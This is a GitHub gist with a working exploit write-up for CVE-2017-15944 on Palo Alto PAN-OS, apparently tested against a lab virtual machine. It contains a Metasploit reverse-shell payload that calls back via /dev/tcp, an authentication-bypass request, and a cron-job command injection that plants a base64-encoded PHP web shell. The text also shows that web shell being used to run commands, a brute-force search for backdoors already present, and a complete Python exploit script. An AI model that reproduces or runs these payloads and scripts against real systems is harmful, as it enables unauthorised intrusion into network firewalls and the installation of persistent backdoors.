Skip to content

Instantly share code, notes, and snippets.

@milo2012
Last active June 22, 2023 08:07
Show Gist options
  • Save milo2012/e97a3571afb1a6ac3aa6e1a88096b550 to your computer and use it in GitHub Desktop.
Save milo2012/e97a3571afb1a6ac3aa6e1a88096b550 to your computer and use it in GitHub Desktop.
CVE-2017-15944.md

Description

I encountered a situation where the target running PAN-OS was vulnerable to CVE-2017-15944 but I was unable to exploit it using Metasploit.

The issue with exploiting CVE-2017-15944

One of the techniques of exploiting CVE-2017-15944 exploit, is to create a file under /opt/pancfg/mgmt/logdb/traffic/1/* which gets processed by the cron job (/etc/cron.d/indexgen -> /usr/local/bin/genindex_batch.sh). Metasploit uses this technique.

The article at https://tinyhack.com/2019/01/10/alternative-way-to-exploit-cve-2017-15944-on-pan-os-6-1-0/ mentions that it might be impossible to exploit CVE-2017-15944 as the script is already running. The article mentions that the cron job (/etc/cron.d/core_compress -> /usr/local/bin/core_compress) is also vulnerable to command injection.

The problem with this is: this script will check if another instance of it is still running, and if it is, then it will just exit, preventing us from performing an attack when another attacker is still connected.

Vulnerable Versions

  • PAN-OS 7.1 <= 7.1.13
  • PAN-OS 7.0 <= 7.0.18
  • PAN-OS 6.1 <= 6.1.18

Checking if host is vulnerable to CVE-2017-15944

The below nuclei-template shows that the target host is vulnerable to authentication bypass (CVE-2017-15944).

% nuclei -t CVE-2017-15944.yaml -l /tmp/websites.hosts 
[INF] Loading templates...
[INF] [CVE-2017-15944] PreAuth RCE on Palo Alto GlobalProtect (@emadshanab,milo2012) [high]
[INF] Loading workflows...
[INF] Using 1 rules (1 templates, 0 workflows)
[2021-07-18 02:08:53] [CVE-2017-15944] [http] [high] https://192.168.31.187/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";

Exploit failing in Metasploit

Below is an example of the exploit failing in Metasploit.

msf6 exploit(linux/http/panos_readsessionvars) > show options
Module options (exploit/linux/http/panos_readsessionvars):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CBHOST                    no        The listener address used for staging the real payload
   CBPORT                    no        The listener port used for staging the real payload
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.31.187   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host

Payload options (cmd/unix/reverse_bash):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.31.186   yes       The listen address (an interface may be specified)
   LPORT  4445             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf6 exploit(linux/http/panos_readsessionvars) > exploit 
[+] 0<&133-;exec 133<>/dev/tcp/192.168.31.186/4445;sh <&133 >&133 2>&133
[*] Started reverse TCP handler on 192.168.31.186:4445 
[*] Creating our corrupted session ID...
[*] Calling Administrator.get to create directory under /opt/pancfg/mgmt/logdb/traffic/1/...
[*] Waiting up to 20 minutes for the cronjob to fire and execute...
[*] Waiting for a session, 1200 seconds left...
[*] Waiting for a session, 1169 seconds left...

Alternative Method

List of cron jobs in /etc/cron.d on PanOS 7.0.1

[root@PA-VM cron.d]# pwd
pwd
/etc/cron.d
[root@PA-VM cron.d]# ls -alh
ls -alh
total 60K
drwx------  2 root root 4.0K Jul 17 08:41 .
drwxr-xr-x 54 root root 4.0K Jul 17 08:41 ..
-rw-r--r--  1 root root   69 Jul  9  2015 bot
-rw-r--r--  1 root root  363 Jul  9  2015 checkluserdb
-rw-r--r--  1 root root   70 Jul  9  2015 core_compress
-rw-r--r--  1 root root   75 Jul  9  2015 indexgen
-rw-r--r--  1 root root   82 Jul 17 08:44 pan-auto-updater
-rw-r--r--  1 root root   17 Jul 17 08:44 pan-av-updater
-rw-r--r--  1 root root   17 Jul 17 08:44 pan-cc-crypto-self-test
-rw-r--r--  1 root root   17 Jul 17 08:44 pan-cc-software-integrity-self-test
-rw-r--r--  1 root root   17 Jul 17 08:44 pan-gpdatafile-updater
-rw-r--r--  1 root root   77 Jul  9  2015 reportgen
-rw-r--r--  1 root root   17 Jul 17 08:44 sc_download
-rw-r--r--  1 root root  172 Jul 17 08:41 stats_updater
-rw-r--r--  1 root root   97 Jul  9  2015 vacuum-sqlite-db

Cron job details

Cron Job Details
/etc/cron.d/indexgen 0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh
/etc/cron.d/core_compress 0,15,30,45 * * * * root /usr/local/bin/core_compress
/etc/cron.d/reportgen 02 2 * * * root /usr/local/bin/genreports_batch.sh generate
/etc/cron.d/stats_updater 10 02,06,10,14,18,22 * * * root /usr/local/bin/masterd_batch -i -s -n -p 1 stats_gen /usr/local/bin/stats_upload.py > /var/log/pan/stats_service.log 2>&1
/etc/cron.d/pan-auto-updater 2 1 * * 3 root /usr/local/bin/pan-auto-updater.sh download-only
/etc/cron.d/bot 1 0 * * * root /usr/local/bin/rotate_botnet_log.s

We can make use of the cron job (/etc/cron.d/core_compress) that calls (/usr/local/bin/core_compress) by writing to /var/cores/*.core. We will have to create a file under /var/cores that writes a PHP script to /var/appweb/htdocs/api/cmd.php once the cron job has run.

Request
POST /php/utils/router.php/Administrator.get HTTP/1.1
Host: 192.168.31.187
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.23.0
Cookie: PHPSESSID=aaa97f239b0eecbadc5e76a8025cafe7; _appwebSessionId_=aaa97f239b0eecbadc5e76a8025cafe7
Content-Length: 505

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}cmd.php).core -print -exec python -c exec(\"PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==\".decode(\"base64\")) ;'/>\u0000"}],"type":"rpc","tid":713}

Response
HTTP/1.1 200 OK
Server: 
Date: Sun, 18 Jul 2021 06:33:47 GMT
Content-Type: application/json; charset=UTF-8
Connection: close
Pragma: private
Cache-Control: private, must-revalidate, post-check=0, pre-check=0
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-FRAME-OPTIONS: SAMEORIGIN
Content-Length: 237

{"type":"rpc","tid":"713","action":"PanDirect","method":"execute","predefinedCacheUpdate":"true","result":{"@async-mode":"yes","@status":"success","@code":"19","result":{"msg":{"line":"Async request enqueued with jobid 11"},"job":"11"}}}

Below is the sample curl command to exploit CVE-2017-15944 using /etc/cron.d/core_compress. A PHP file will be created under /var/appweb/htdocs/api/cmd.php.

% curl -i -s -k -X $'POST' \
    -H $'Host: 192.168.31.187' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'User-Agent: python-requests/2.23.0' -H $'Content-Length: 505' \
    -b $'PHPSESSID=aaa97f239b0eecbadc5e76a8025cafe7; _appwebSessionId_=aaa97f239b0eecbadc5e76a8025cafe7' \
    --data-binary $'{\"action\":\"PanDirect\",\"method\":\"execute\",\"data\":[\"07c5807d0d927dcd0980f86024e5208b\",\"Administrator.get\",{\"changeMyPassword\":true,\"template\":\"asd\",\"id\":\"admin\']\\\" async-mode=\'yes\' refresh=\'yes\' cookie=\'../../../../../../var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}cmd.php).core -print -exec python -c exec(\\\"PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==\\\".decode(\\\"base64\\\")) ;\'/>\\u0000\"}],\"type\":\"rpc\",\"tid\":713}' \
    $'https://192.168.31.187/php/utils/router.php/Administrator.get'

Checking if cron job has executed

We can use the below loop command to check when the cron job has executed. The cron job (/etc/cron.d/core_compress) runs at 0,15,30,45 minutes every hour.

% while true; do httpx -l /tmp/web1.txt -status-code -silent; sleep 3; done
https://192.168.31.187/api/cmd.php?c=ifconfig [404]
https://192.168.31.187/api/cmd.php?c=ifconfig [200]
https://192.168.31.187/api/cmd.php?c=ifconfig [200]
https://192.168.31.187/api/cmd.php?c=ifconfig [200]

Accessing the backdoor

The below command shows us accessing the PHP script at https://x.x.x.x/api/cmd.php to run the command 'ifconfig' on the target system.

% curl -k  -L "https://192.168.31.187/api/cmd.php?c=ifconfig" 
eth0      Link encap:Ethernet  HWaddr 00:0C:29:A5:4A:57  
          inet addr:192.168.31.187  Bcast:192.168.31.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fea5:4a57/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6567 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4322 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:855990 (835.9 KiB)  TX bytes:997351 (973.9 KiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.255.255.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:181897 errors:0 dropped:0 overruns:0 frame:0
          TX packets:181897 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:108823710 (103.7 MiB)  TX bytes:108823710 (103.7 MiB)

tap0      Link encap:Ethernet  HWaddr 00:70:76:69:66:FF  
          inet6 addr: fe80::270:76ff:fe69:66ff/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:15 errors:0 dropped:0 overruns:0 frame:0
          TX packets:26 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500 
          RX bytes:2918 (2.8 KiB)  TX bytes:2012 (1.9 KiB)

tap0.1    Link encap:Ethernet  HWaddr 00:70:76:69:66:FF  
          inet addr:127.130.1.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: fe80::270:76ff:fe69:66ff/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:492 (492.0 b)

tap0.251  Link encap:Ethernet  HWaddr 00:70:76:69:66:FF  
          inet addr:127.131.1.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: ::ffff:127.131.1.1/112 Scope:Global
          inet6 addr: fe80::270:76ff:fe69:66ff/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:15 errors:0 dropped:0 overruns:0 frame:0
          TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:2708 (2.6 KiB)  TX bytes:1052 (1.0 KiB)

Both Techniques Fail. What now ?

If the target host is vulnerable but both techniques fail, the target might already been exploited.
The next alternative is to brute force the filenames under the / and /api/ folder.
Please see below for reference.

% git clone https://gitlab.com/kalilinux/packages/crunch
% cd crunch && make
% ./crunch 1 3 -f charset.lst lalpha -o /tmp/wordlist.txt
% ./gobuster dir -u https://192.168.31.187/api/ -w /tmp/wordlist.txt -x .php -k
===============================================================
2021/07/18 14:04:21 Starting gobuster
===============================================================
/cmd (Status: 200)
/cmd.php (Status: 200)

Download Links

Filename Download Link
PA-VM-ESX-6.1.0.ova https://www.4shared.com/file/KUy8PHx-ce/PA-VM-ESX-610.html
PA-VM-ESX-7.0.1.ova https://www.4shared.com/file/SiJE2phFba/PA-VM-ESX-701.html
PA-VM-ESX-8.0.5.ova https://pan.baidu.com/s/1-VmvtAdYEj0bZgzE6vVnew (h92v)

Setting up PanOS

configure
set deviceconfig system ip-address 192.168.31.187 netmask 255.255.255.0 
set deviceconfig system default-gateway 192.168.31.1
set deviceconfig system dns-setting servers primary 8.8.8.8
commit

Exploit Script

#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import base64
requests.packages.urllib3.disable_warnings()
session = requests.Session()
def step3_exp():
	exp_post = "{\"action\":\"PanDirect\",\"method\":\"execute\",\"data\":[\"07c5807d0d927dcd0980f86024e5208b\",\"Administrator.get\",{\"changeMyPassword\":true,\"template\":\"asd\",\"id\":\"admin']\\\" async-mode='yes' refresh='yes' cookie='../../../../../../var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}cmd.php).core -print -exec python -c exec(\\\"PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==\\\".decode(\\\"base64\\\")) ;'/>\\u0000\"}],\"type\":\"rpc\",\"tid\":713}"
	return exp_post

def exploit(target, port):
    step2_url = 'https://{}:{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(target, port)
    step3_url = 'https://{}:{}/php/utils/router.php/Administrator.get'.format(target, port)
    #proxies = {'https': 'http://127.0.0.1:8080'}
    #session.proxies.update(proxies)
    try:
    	if session.get(step2_url, verify=False).status_code == 200:
    		exp_post = step3_exp()
    		print(step3_url)
    		print(exp_post)
    		rce = session.post(step3_url, data=exp_post, verify=False).json()
    		print(rce)
    		if rce['result']['@status'] == 'success':
    			print('[+] Success, please wait ... ')
    			print('[+] JobID: {}'.format(rce['result']['result']['job']))
    		else:
    			exit('[!] Fail')
    	else:
    		exit('[!] Bypass fail')
    except Exception as err:
    	print(err)

if __name__ == '__main__':
    if len(sys.argv) <= 3:
        exploit(sys.argv[1], sys.argv[2])
    else:
        exit('[+] Usage: python CVE_2017_15944.py IP PORT')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment